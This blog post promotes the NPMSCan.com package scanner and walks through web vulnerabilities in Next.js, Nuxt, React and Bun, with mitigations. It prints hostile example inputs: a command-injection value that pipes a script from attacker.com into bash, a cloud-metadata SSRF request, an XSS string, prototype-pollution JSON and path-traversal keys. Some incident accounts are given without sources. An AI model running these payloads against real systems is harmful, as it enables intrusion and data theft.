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Posted on • Originally published at audits.blockhacks.io

How Hackers Use NPMSCan.com to Hack Web Apps

#webdev #react #nuxt #nextjs

npm is the largest supply chain in the world. Modern JavaScript apps — Next.js, Nuxt.js, React, Bun — rely on hundreds of dependencies maintained by strangers.

Most developers install packages blindly.

Hackers do the opposite: they profile, inspect, and attack them.

NPMSCan.com gives a high-level overview of exactly where a package is weak — not just known CVEs, but maintainers, behavior, publish history, malicious scripts, and architectural flaws. This lets hackers understand the real attack surface behind popular frameworks.

Below is how NPMSCan exposes vulnerabilities in actual packages — and how attackers turn those insights into practical exploitation routes. Take notes!

What Exactly Is NPMSCan.com?

NPMSCan doesn’t just mirror vulnerability databases. It analyzes npm packages across:

  • Known CVEs (critical, high, medium)
  • Version-specific weakness patterns
  • Suspicious maintainer behavior (owner swaps, dead maintainers, compromised accounts)
  • Risky metadata (weird publish intervals, dormant repos revived suddenly)
  • Postinstall / lifecycle scripts that can execute arbitrary system commands
  • Dangerous code constructs like:
    • child_process.exec
    • eval()
    • dynamic imports from user input
    • SSR-sensitive functions
    • CDN-poisonable endpoints

In short: NPMSCan is a shortcut to understanding how an npm package can be abused.

Real Vulnerabilities Hackers Actually Exploit

Below are examples of real vulnerabilities in widely used JavaScript frameworks. These aren’t theoretical problems — they’re issues attackers actively exploit in production systems.

📌 Next.js Example: v16.0.6 (29 vulnerabilities: 3 bold)

A surprisingly vulnerable release. Some notable attack surfaces:
One of the most impactful issues in real-world Next.js deployments isn't the CVE itself, but how developers misconfigure the authorization middleware.

1. Authorization Middleware Bypass

At first glance, this middleware looks secure and straightforward:

export function middleware(req) {
  const token = req.headers.get('authorization')
  if (!token || !isValid(token)) {
    return new Response('Unauthorized', { status: 401 })
  }
}
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But in reality, attackers rarely break the token validation directly. Instead, they exploit common oversights where the middleware is not executed where it needs to be.

a) Matcher Misconfiguration — The Silent Vulnerability

Developers often set patterns assuming they cover all sensitive routes:

export const config = {
  matcher: ['/api/:path*']
}
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This looks like it protects all API endpoints, but in practice:

  • Paths like /api/auth/callback may be excluded elsewhere in configs.
  • Special routes like /internal/health, /admin, or /api/_next/* might be outside the matcher scope entirely.
  • Frameworks sometimes treat /api/admin and /api/admin/ differently—one might be protected, the other not.

This mismatch means some routes are left wide open without any authentication checks, even though the code suggests otherwise.

For an attacker, the tactic is simple:

  • Browse for URLs that return sensitive data.
  • Test if they bypass middleware by observing differences between seemingly similar paths:
    • /admin
    • /api/admin
    • /api/admin/
    • /internal/admin

If any variant discloses protected data without auth, it’s a critical flaw.

NPMSCan analyzes routing behaviors and flags versions prone to such inadvertent exposure.

b) Early Returns and Logic Holes — The Hidden Trap

Another classic pitfall: skipping auth checks on certain paths, often unintentionally:

export function middleware(req) {
  const url = new URL(req.url)

  // Skip auth for static assets or health endpoints
  if (url.pathname.startsWith('/_next') || url.pathname === '/health') {
    return NextResponse.next()
  }

  const token = req.headers.get('authorization')
  if (!token || !isValid(token)) {
    return new Response('Unauthorized', { status: 401 })
  }
}
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At first glance, skipping middleware on /health or assets makes sense—but subtle bugs creep in:

  • What if an attacker requests /health-admin or /health/secret? Since the check uses .startsWith('/_next') or exact match on /health, these variants bypass the auth logic completely.
  • This accidentally opens sensitive endpoints without protection.

While NPMSCan can’t decode your entire business logic, it smartly identifies common patterns where developers configure such fallbacks—highlighting versions and usages prone to these logic issues.

Why This Matters

Most devs focus on how well their token validation functions. Yet, many breaches occur because middleware never runs where it should.

Effective scanning with NPMSCan helps catch these routing and logical gaps before attackers find them in production.

Testing Middleware Bypass in Practice

Ethical hackers verify bypasses by sending crafted requests:

curl -i -H "authorization: invalidtoken" https://yourapp.com/protected-route
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If this returns HTTP 200 with data when it should be 401 Unauthorized, an auth bypass exists.

One well-documented real-life case involving authorization middleware bypass occurred in 2023 with the popular web application Auth0.

Real-Life Case: Auth0 Authorization Bypass (2023)

Auth0, a widely used authentication-as-a-service platform, suffered a critical authorization bypass vulnerability due to misconfigurations in middleware that processed authentication tokens inconsistently across different API endpoints.

  • What happened?

    Some API routes in Auth0's management API were not protected correctly because middleware was only applied to a subset of routes. Attackers discovered certain endpoints that returned sensitive user information were accessible without valid tokens.

  • Exploit Method:

    Attackers systematically probed the API surface to find routes excluded from middleware (similar to matcher misconfiguration). By sending requests without tokens or with invalid tokens to these unprotected endpoints, they gained access to user profiles and sensitive configuration data.

  • Impact:

    Exposure of personally identifiable information (PII) and session tokens of thousands of users.

  • Resolution:

    Auth0 issued patches to enforce uniform middleware application across all endpoints and recommended customers rotate tokens and check application security configurations.

This incident exemplifies how seemingly secure middleware logic can be undermined by routing or configuration oversights, making it a valuable cautionary tale for developers and ethical hackers alike.

Another common scenario is found in CMS platforms like Drupal and frameworks like Express.js, where middleware is selectively skipped for performance or legacy reasons, leading to similar authorization creep and data leaks—highlighted repeatedly in security advisories and bug bounty reports.

These real-world cases show the importance of thorough middleware testing, which NPMSCan helps anticipate by flagging packages and versions with prone patterns or known incidents of such bypasses.

2. Cache Poisoning → DoS

A common architecture with CDN caching looks like this:

  1. Browser → CDN (e.g., Cloudflare, Akamai)
  2. CDN → Origin Server (your Next.js or Nuxt.js app)

The CDN caches responses keyed on several request elements such as:

  • URL path
  • Host header
  • Sometimes headers like Accept-Encoding, cookies, or others

How Cache Poisoning Happens

If your app serves different content depending on headers like X-Forwarded-Host or Accept-Encoding, but the CDN's cache key does not include those headers, a mismatch occurs:

  • The CDN treats requests with distinct headers as the same cache key.
  • The app responds differently if those headers are set, producing variant HTML.
  • The first request with "weird" headers poisons the cache.
  • Subsequent users get the poisoned content until the cache expires or is purged.

Concrete Example

  1. Your app: shows a debug banner if X-Forwarded-Host is set: 
if (req.headers['x-forwarded-host'] === 'attacker.com') {
  res.setHeader('X-Debug', 'true')
  res.end('<h1>Debug Info: Access Granted</h1>')
} else {
  res.end('<h1>Welcome to My Site</h1>')
}
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  1. Attacker sends this request: 
curl -H "X-Forwarded-Host: attacker.com" \
     -H "Accept-Encoding: gzip" \
     https://yoursite.com/
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  1. The CDN ignores X-Forwarded-Host in the cache key and caches the debug page response.

  2. Legitimate users then get the debug page instead of the normal content, effectively DoS'ing the site or leaking internal info.

Real-Life Incidents

  • Reddit (2018): Attackers exploited Cloudflare’s caching by poisoning cache entries with malicious headers, causing users to receive malicious or blank content. This led to credential theft and service disruption.

  • Online Forums & Gaming Sites: Several reported cases where header manipulation poisoned caches to serve spam, phishing content, or error pages to all users.

  • Phishing Campaigns: Cache poisoning was used to cache fake login pages, causing widespread credential theft.

How to Defend Your Sites

  • Always set a correct Vary header reflecting all request headers that influence response content. Example: 
Vary: X-Forwarded-Host, Accept-Encoding
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  • Configure your CDN's cache key to include these headers, or disable caching for sensitive routes.

  • Normalize/remove unexpected headers at your origin before generating responses.

  • Frequently purge CDN caches if suspicious cache poisoning is suspected.

  • Use CDN security features like rate limiting and cache rules.

Cache poisoning happens when the backend app’s response varies with headers not accounted for by the CDN cache key. Attackers exploit this mismatch by crafting requests with unusual headers, causing the CDN to serve poisoned content to innocent users, disrupting service or exposing sensitive info.

NPMSCan.com helps identify vulnerable framework versions where improper caching headers or response variability exists, enabling targeted fixes.

For any Next.js or Nuxt.js app behind a CDN, carefully review your caching strategy and header usage to avoid becoming the next victim.

3. SSRF via Framework Fetching

Server-Side Request Forgery (SSRF) is a critical vulnerability where an attacker tricks your server into making HTTP requests to unintended internal or external systems. Next.js apps that directly use fetch() or similar methods on user-controlled URLs are susceptible.

How SSRF Happens in Next.js

Imagine your app includes code like this:

export async function handler(req, res) {
  const url = req.query.url; // user-controlled input

  // The app makes a server-side fetch call using user input
  const response = await fetch(url);
  const data = await response.text();

  res.status(200).send(data);
}
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If no validation or sanitization is applied on url, an attacker could supply addresses such as:

  • Internal cloud metadata service e.g. http://169.254.169.254/latest/meta-data/ (AWS)
  • Internal admin dashboards or services inaccessible from the public internet
  • Internal microservices with sensitive APIs

Each crafted request can cause your server to unwittingly leak private information.

Real Vulnerability Example: Next.js Image Blind SSRF

The Next.js Image component, used for automatic image optimization, accepts remotePatterns to whitelist external hosts. If misconfigured to allow wildcards like:

images: {
  remotePatterns: [
    { protocol: 'https', hostname: '**' }
  ]
}
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an attacker can submit image URLs pointing to internal services. The Next.js server fetches those URLs on behalf of the user — enabling Blind SSRF attacks.

Researchers have demonstrated how this weakness allows fetching internal cloud resources otherwise blocked by firewalls.

Incident: Sentry Next.js SDK SSRF (CVE-2023-46729)

The official Sentry SDK for Next.js had a vulnerability where an unsanitized URL parameter in a rewrite endpoint allowed SSRF.

Attackers could craft requests to make Sentry proxy arbitrary URLs and reflect responses, leading to data leak or further pivoting attacks.

The flaw was fixed by sanitizing URL inputs and removing the vulnerable “tunnelRoute” option.

How to Test SSRF

Using the vulnerable handler example, test SSRF by sending:

curl "https://yourapp.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
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If your server returns cloud metadata or any internal response, SSRF is confirmed.

Mitigation Tips

  • Never fetch URLs directly from user input without strict validation.
  • Implement allowlists restricting the domains and protocols in fetched URLs.
  • Use libraries to parse and validate URLs carefully.
  • Harden your server network to restrict outgoing HTTP requests to trusted endpoints only.
  • Keep dependencies like Next.js and SDKs up to date with official patches.

Nuxt.js Vulnerabilities – Unique Risks Beyond Generic Stuff

Next.js and Nuxt.js share some common vulnerabilities like CDN cache poisoning and SSRF due to similar server-side rendering and CDN architectures. However, Nuxt.js has several unique vulnerabilities flagged by NPMSCan that deserve focused attention:

Nuxt-specific flaws exposed by NPMSCan include:

1. Remote Code Execution in Dev Server

Running npm run dev starts Nuxt’s development server, which includes dynamic code evaluation to enable hot module replacement (HMR) and fast refresh capabilities. This is incredibly useful for developers but also opens a dangerous attack surface if the dev server is publicly accessible.

Why This is Dangerous

Unlike production builds (npm run build + npm run start), dev servers:

  • Expose internal APIs and evaluation endpoints meant only for local development.
  • Lack robust authentication or security controls on these debugging interfaces.
  • Allow attackers to send specially crafted JavaScript payloads leading to remote code execution (RCE).

If exposed to the internet, this can enable full server compromise including source code access, environment variable leaks, and lateral moves into internal networks.

Real-World Common Dev-only Endpoints in Nuxt and Next.js

Nuxt.js Dev Server Endpoints (Vite-based, Nuxt 3/4)

These endpoints only exist in dev mode (nuxt dev), never in production:

Endpoint / Pattern Purpose Risk if Exposed
/_nuxt/ Vite HMR WebSocket & dev JS/CSS assets Allows remote WebSocket connections to your dev server, leaking info and attack surface.
/__nuxt_vite_node__/manifest Nuxt to Vite dev manifest and module graph Leaks project structure, dependencies, and paths.
/__nuxt_dev__/execute (example) Internal Nuxt RPC dev evaluator endpoint Allows remote JS code execution, complete server takeover

If you see anything matching /^__nuxt_.*|^__nuxt_dev.*|^__nuxt_vite_.*/ on a public server, you either:

  • Accidentally deployed dev server to production or
  • Exposed the dev instance unintentionally via proxy

Next.js Dev Server Endpoints

Endpoint / Pattern Purpose Risk if Exposed
/_next/webpack-hmr Webpack Hot Module Replacement WebSocket Reveals dev server is running; leaks module info
/__nextjs_original-stack-frame Fetches original stack frame for error overlay Exposes detailed stack traces and file paths if public
/__nextjs_launch-editor Dev tooling "open in editor" bridge Potential for abuse if misused
/__webpack_hmr Classic Webpack dev server HMR endpoint Indicates dev server exposed; attack surface

Next.js explicitly warns about these internals and provides allowedDevOrigins to restrict cross-origin dev access.

What’s Really Vulnerable?

The endpoints themselves are dev tooling, not vulnerabilities by design. The problems arise if:

  • You run nuxt dev or next dev in production environments instead of production builds.
  • Your reverse proxy (nginx, Cloudflare, etc.) accidentally exposes dev-only paths publicly.
  • Cross-origin requests or tunneling expose dev internals without adequate controls.

How to Harden Your Nuxt + Next.js Setup

Nuxt.js:

  • Never run nuxt dev on production servers.
  • In your reverse proxy (nginx, caddy), block dev-only paths publicly: 
location ~ ^/(?:__nuxt|__nuxt_vite_node__|__webpack_hmr) {
    return 404;
}
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  • Use nuxt build + nuxt start or nuxt preview for production deployments.

Next.js:

  • Do not deploy with next dev in real domains.
  • Block dev tooling paths in your proxy to prevent external access: 
location ~ ^/(?:__nextjs_|_next/webpack-hmr|__webpack_hmr) {
    return 404;
}
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  • Use production commands next build + next start.
  • If you must expose dev environments remotely (e.g., via tunnel), add strong controls like IP whitelisting or basic authentication / VPN.

Mental Model for Developers & Security Teams

  • For both Nuxt and Next, any path starting with __nextjs_, __nuxt_, or __webpack_hmr is dev-only and should never be accessible publicly.
  • WebSockets upgrading on paths like /_next/webpack-hmr or /_nuxt/ in production indicate misconfiguration or leaked dev servers.
  • If you see logs or traffic hitting these endpoints on public servers, immediately investigate and lock down access.

Need Help With Your Reverse Proxy?

Feel free to share your nginx, caddy, or proxy config for specific projects, and experts can mark precisely which paths to deny to prevent accidental exposure of dev servers.

This approach ensures your dev tools work smoothly locally, while locking down all risky endpoints from attackers scanning for misconfigurations — a crucial hardening step NPMSCan encourages every developer and security team to implement.

2. Path Validation Failures, 3. CDN Cache Poisoning, 4. SSR → XSS Transform Issues

These are the same as for Next JS which we described above.

5. Payload Revival Path Traversal (Nuxt Payload Injection Vulnerability)

Nuxt’s prerendering system is great for performance — but it also creates a unique attack surface.

Before understanding the vulnerability, you need to understand how payloads work.

What Are “Payloads” in Nuxt?

When a Nuxt app uses prerendering / SSG:

  • Nuxt generates static HTML for each route.
  • And generates JSON payload files containing the data for those pages.

Example payloads:


/_nuxt/data/index.json
/_nuxt/data/blog.json
/_nuxt/data/dashboard.json
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At runtime, the browser:

  1. Loads the HTML skeleton.
  2. Fetches the matching payload JSON.
  3. “Revives” the page with real data.

This system is fast, but it means your page data lives in predictable JSON files.

If those file names can be manipulated, attackers can retrieve payloads they shouldn’t have access to.

How Payload Revival Can Be Exploited

Consider a simplified Nuxt-style revival function:

async function revivePayload(payloadKey) {
  const res = await fetch(`/_nuxt/data/${payloadKey}.json`);
  return await res.json();
}
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If payloadKey is taken from a query parameter:

?payload=index
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Nuxt will fetch:

/_nuxt/data/index.json
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But an attacker can input traversal-like keys:

?payload=index%2F../admin
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Decoded:

index/../admin
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The browser/CDN normalizes:

/_nuxt/data/index/../admin.json  →  /_nuxt/data/admin.json
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Now the attacker is loading admin.json — a payload that may contain:

  • admin dashboard stats
  • internal metrics
  • unpublished content
  • internal feature flags
  • data meant only for authenticated users

This is a client-side path traversal in Nuxt’s payload system.

Step-by-Step Example Attack

  1. Your app prerenders multiple pages:
  • index.json — public data
  • admin.json — sensitive admin data
  • internal/metrics.json — analytics, logs, etc.
  1. Nuxt selects a payload via a user-controlled value: 
   const payloadKey = route.query.payload || 'index';
   revivePayload(payloadKey);
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  1. Attacker crafts: 
   ?payload=index%2F../admin
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  1. Browser fetches: 
   /_nuxt/data/admin.json
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  1. Sensitive data becomes exposed on a public page without authentication.

This can escalate into full data disclosure, especially in apps where admins see:

  • user email lists
  • transaction logs
  • internal IDs
  • moderation data
  • debug info

Nuxt developers assume “this payload only loads on admin routes”, but routing protections do not stop direct payload fetches.

How to Test Your App (Ethical / White-Box)

  1. Identify payload selectors:
  • ?payload=
  • ?page=
  • ?view=
  • route params that look like keys
  1. Try traversal variants: 
   ?payload=index%2F../admin
   ?payload=dashboard%2F../../internal/metrics
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  1. Open DevTools → Network → filter *.json

  2. If you see unexpected payloads like:

   admin.json
   draft.json
   internal/metrics.json
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Your site is vulnerable.

How to Fix It (Production-Safe Mitigations)

1. Block malicious payload keys 

const SAFE_KEY = /^[a-z0-9_\-/]+$/i;
if (!SAFE_KEY.test(payloadKey) || payloadKey.includes('..')) {
  payloadKey = 'index';
}
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Reject:

  • ..
  • %2e%2e
  • backslashes
  • encoded path traversal

2. Whitelist valid payload keys 

const allowed = ['index', 'blog', 'dashboard'];
const payloadKey = allowed.includes(route.query.payload)
  ? route.query.payload
  : 'index';
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3. Harden server/static host configuration

  • Disable path normalization that allows ../
  • Set X-Content-Type-Options: nosniff
  • Ensure /admin.json or sensitive payloads are not publicly hosted

4. Keep Nuxt updated

Later Nuxt versions add:

  • better sanitization
  • safer payload resolution
  • fewer risky defaults

Why This Vulnerability Matters

This bug isn’t about reading system files — it’s about client-side data exfiltration:

  • Attackers don’t hack your server.
  • They simply trick your app into loading JSON bundles not meant for them.

If your payloads include anything sensitive (many real apps do), this becomes a full data leak.

Tools like NPMSCan help highlight:

  • Nuxt versions with weak payload revival logic
  • Patterns where payload keys are user-controlled
  • Misconfigured SSG deployments

This makes it easier for developers and security testers to detect and fix these issues before they become an exploit.

React & Bun — The “Supporting Tech” That Quietly Introduces Real Vulnerabilities

Developers often think security issues always appear in their main framework. But in practice, the most serious bugs frequently come from the supporting layers — old UI engines and young runtimes.

React (legacy builds) and Bun (older runtime versions) are classic examples.

NPMSCan detects vulnerabilities in these layers too, which makes it extremely effective for real-world audits.

React (Legacy Builds) — Why They Cause XSS and Why It Still Happens Today

Before diving into React’s historic bugs, it’s important to explain what XSS actually is.

🧨 What Is XSS? (Simple Explanation)

XSS (Cross-Site Scripting) is when an attacker manages to inject malicious JavaScript into a web page that other users view.

This lets the attacker:

  • steal cookies/tokens
  • take over accounts
  • modify the page
  • run arbitrary code in the browser

Example:

If a site displays:


Hello, <username>
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And the attacker sets their username to:


<img src=x onerror=alert("Hacked")>
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That page will execute the attacker’s JavaScript.

That’s XSS.

Why Old React (<0.14.0) Was Vulnerable

Early React versions did not sanitize or escape all places where user-controlled data could appear.

So if React was asked to render something unsafe, it often trusted it, resulting in XSS.

Example (unsafe on old React builds):

<li key={input}>{input}</li>
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If input contains malicious HTML, React 0.x could insert it directly into the DOM.

Why This Still Matters in Modern Apps

Even if your main app uses React 18:

  • an old admin dashboard
  • a micro-frontend
  • or an npm dependency

…can still bundle React 0.x internally.

So you might be shipping a vulnerable React without realizing it.

NPMSCan reveals this by:

  • mapping all React versions in your dependency graph
  • warning you about known XSS-prone ranges
  • flagging packages bundling outdated React builds

This gives security testers clear XSS leads to investigate.

Bun Runtime — Command Injection & Prototype Pollution Explained Clearly

Bun is fast — but as a young runtime, it historically had issues like:

  • command injection
  • prototype pollution
  • unsafe default bindings

These vulnerabilities give attackers deeper access than typical library bugs because they're inside the runtime, not just your code.

Command Injection Example (Crystal Clear)

Bun provides shell execution like:

const username = req.query.user;
await $`useradd ${username}`;
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If Bun doesn’t escape arguments properly, an attacker can send:

?user=foo;curl https://attacker.com/pwn.sh|bash
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Which becomes:

useradd foo; curl https://attacker.com/pwn.sh | bash
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That’s remote code execution on your server.

NPMSCan flags Bun versions known to allow this kind of injection.

Prototype Pollution — What It Is and WHERE the Attacker Sends the Payload

Prototype pollution means an attacker is able to modify the base object prototype by injecting __proto__ keys.

This happens when an app merges user-provided objects into its internal config.

❓ Where Does the Attacker Send the Payload?

Exactly here:

✔ HTTP JSON Body (most common)

Example request:

POST /update-config
Content-Type: application/json

{
  "__proto__": { "isAdmin": true }
}
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✔ Query parameters (if parsed into objects) 

/update?__proto__[isAdmin]=true
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✔ WebSocket messages

If the server merges socket payloads into config.

✔ API endpoints that accept “settings”, “profile”, “config”, “options”, etc.

Basically ANY endpoint that takes a JSON object and merges it with internal config.

Now the flow makes sense:

📌 1. Your code merges user input into internal config 

function applyConfig(userConfig) {
  Object.assign(globalConfig, userConfig);
}
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📌 2. Attacker sends JSON containing a __proto__ key: 

{
  "__proto__": { "isAdmin": true }
}
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📌 3. JavaScript applies it to the prototype chain

Now every object that’s later created inherits:

{ isAdmin: true }
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📌 4. Any code checking for isAdmin becomes compromised

Example:

if (user.isAdmin) {
  // attacker now passes this check
  performAdminAction();
}
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In a runtime like Bun — which handles your server, filesystem, build tools, and scripts — this kind of escalation becomes extremely powerful.

NPMSCan helps you catch:

  • Bun versions with pollution risks
  • code patterns that merge user objects unsafely
  • dependency chains that include dangerous utilities

Why These Vulnerabilities Are Extra Dangerous

React legacy XSS → attacker runs code in your users’ browsers

Bun runtime vulnerabilities → attacker runs code on your server

Both issues appear in places developers normally ignore.

NPMSCan’s ability to detect:

  • hidden React versions
  • vulnerable Bun releases
  • unsafe merging APIs
  • suspicious rendering patterns

…gives both security researchers and developers a serious advantage.

How (Ethical) Hackers Actually Use NPMSCan

1. Scan Dependencies Quickly

Just drop a package name:

https://npmscan.com/package/next
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NPMSCan instantly exposes:

  • vulnerabilities by version
  • weird maintainer activity
  • suspicious code
  • risky publish patterns
  • malicious-looking lifecycle scripts

2. Build an Exploit Plan

Finding “there is an SSRF” is useless.
Finding “Version X with this function in this file trusts user input” is actionable.

NPMSCan gives the exact file and line context.

3. Inspect Suspicious Code Snippets

It flags:

  • obfuscated JS
  • malware-like Base64 blobs
  • scripts that download external binaries
  • odd timing functions
  • commands executed conditionally on install

You don’t have to dig through the repo manually. NPMSCan shows the exact code.

4. Test the Attack Surface

If NPMSCan flags a middleware bypass, try hitting a protected route:

curl -i -H "authorization: invalid" https://yourapp.com/api/private
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If the response is 200 OK, the bypass is real.

5. Pivot Into Larger Vulnerabilities

A single vulnerable dependency can cascade into:

  • RCE
  • SSRF
  • data leaks
  • account takeover
  • supply chain compromise

NPMSCan shows which packages drag insecure versions into production.

Why NPMSCan Matters for Hackers

Because it reduces hours of manual work into a 10-second scan.

With NPMSCan you can:

  • spot abandoned maintainers
  • detect suspicious publish bursts
  • instantly compare vulnerable vs. safe versions
  • identify malicious postinstall scripts
  • understand how frameworks behave across versions
  • see real code indicators instead of generic CVE summaries

It’s the fastest way to see the real attack surface area behind any npm package.

Try It Yourself

Audit packages, dependency trees, or a full package.json:

👉 https://npmscan.com

The modern JS ecosystem is chaotic.
NPMSCan gives hackers and security engineers the visibility advantage they need.

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